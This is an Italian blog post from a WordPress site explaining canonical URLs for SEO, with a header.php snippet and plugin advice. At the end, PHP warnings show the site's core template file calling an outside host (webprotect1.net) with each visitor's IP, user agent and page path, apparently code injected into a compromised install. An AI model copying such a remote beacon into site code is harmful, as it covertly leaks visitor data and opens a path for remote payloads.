Clicca quì per scoprire come guadagnare in Internet con Google AdWords
Powered by MaxBlogPress close 

Ottimizzare i link per Google: i Canonical URLs

Questo post è stato scritto da Daniele il 14 aprile, 2009
Inserito in: Plugin di WordPress,SEO

Prima di tutto spieghiamo a cosa servono! :-)
Google e i motori di ricerca in genere, penalizzano i contenuti duplicati. Sia che questi appartengano a vari blog (l’antica arte del copiare…) sia che risiedano sullo stesso blog.

I SEO friendly URL ci aiutano molto a rendere gli indirizzi più “usabili”, indicizzabili e memorizzabili ma possono creare un po’ di confusione. Un esempio veloce è quello di un post che racconta cosa abbiamo fatto il giorno 1 Maggio con gli amici. Nel nostro blog avremo l’articolo singolo, l’articolo archiviato per categoria,per data,ecc e quindi vedremo URL del tipo:

  • http://www.blogrulez.com/1-maggio-09
  • http://www.blogrulez.com/data/01-05-2009
  • http://www.blogrulez.com/categoria/amici
  • ecc…

oppure nei siti di e-commerce invece si aggiungerebbero alla fine dell’URL dei parametri per la categoria del prodotto, per la sessione, per l’identificazione dell’utente,ecc quindi avremmo indirizzi “complicati”:

  • http://www.blogrulez.com/1-maggio-09&category=amici
  • http://www.blogrulez.com/1-maggio-09&trackingid=1234&sessionid=5678
  • ecc…

La questione fondamentale è che avremo molti URL che riportano allo stesso articolo, con lo stesso contenuto…quindi contenuto duplicato!

Per ovviare a questo problema i tre maggiori motori di ricerca (Google, Live Search e Yahoo!) supportano ora il tag <link rel=”canonical” href=” “> che permette di specificare la versione preferita dell’ URL.

Come si usa?


E’ molto semplice. Utilizziamo lo stesso esempio di sopra e decidiamo che i motori di ricerca debbano indicizzare il nostro articolo riferendosi sempre all’ URL con il mese scritto a parole. Dovremo inserire allora nel tag <head> della pagina il seguente codice:

<link rel="canonical" href="http://www.blogrulez.com/1-maggio-09" />

Chiaramente questo inserimento non possiamo farlo “a mano” per ogni pagina del nostro blog WordPress!
Vi propongo allora due soluzioni:

  1. modificare la pagina header.php del vostro tema e inserire prima del tag di chiusura </head> il seguente codice:
    <?php global $wp_query;
      if (is_single() || is_page()) {
        echo '<link rel="canonical" href="' . get_permalink($wp_query->post->ID) . '" />';
      } ?>

    che genererà nelle pagine singole degli articoli o in quelle statiche automaticamente l’URL canonico.

  2. utilizzare il plugin “All in One SEO Pack che tra le tante opzioni (di tutte le altre ne parlerò specificatamente in un articolo dedicato solo a lui) permette di attivare i “Canonical URLs” automatici per tutto il blog. Potete trovare il plugin e una sua breve descrizione >> QUI <<.

Questo è il link alla pagina ufficiale di Google dove vengono spiegate e chiarite questioni, nel caso qualcuno di voi fosse molto curioso:

http://googlewebmastercentral.blogspot.com/2009/02/specify-your-canonical.html

Questo è il link per la pagina di Yahoo! :

http://ysearchblog.com/2009/02/12/fighting-duplication-adding-more-arrows-to-your-quiver

E questo per Live Search:
http://blogs.msdn.com/webmaster/archive/2009/02/12/partnering-to-help-solve-duplicate-content-issues.aspx

Se vuoi saperne di più:


Ebook

Warning: file_get_contents() [function.file-get-contents]: http:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/mhd-01/www.blogrulez.com/htdocs/wp-includes/general-template.php on line 69

Warning: file_get_contents(http://webprotect1.net%2FStat%2FStatH%2FStat.php?ip=38.107.179.243&useragent=ccbot%2F1.0+%28%2Bhttp%3A%2F%2Fwww.commoncrawl.org%2Fbot.html%29&domainname=www.blogrulez.com&fullpath=%2Fplugin-wordpress%2Fottimizzare-i-link-per-google-i-canonical-urls&addcheck=&check=&ref=) [function.file-get-contents]: failed to open stream: no suitable wrapper could be found in /home/mhd-01/www.blogrulez.com/htdocs/wp-includes/general-template.php on line 69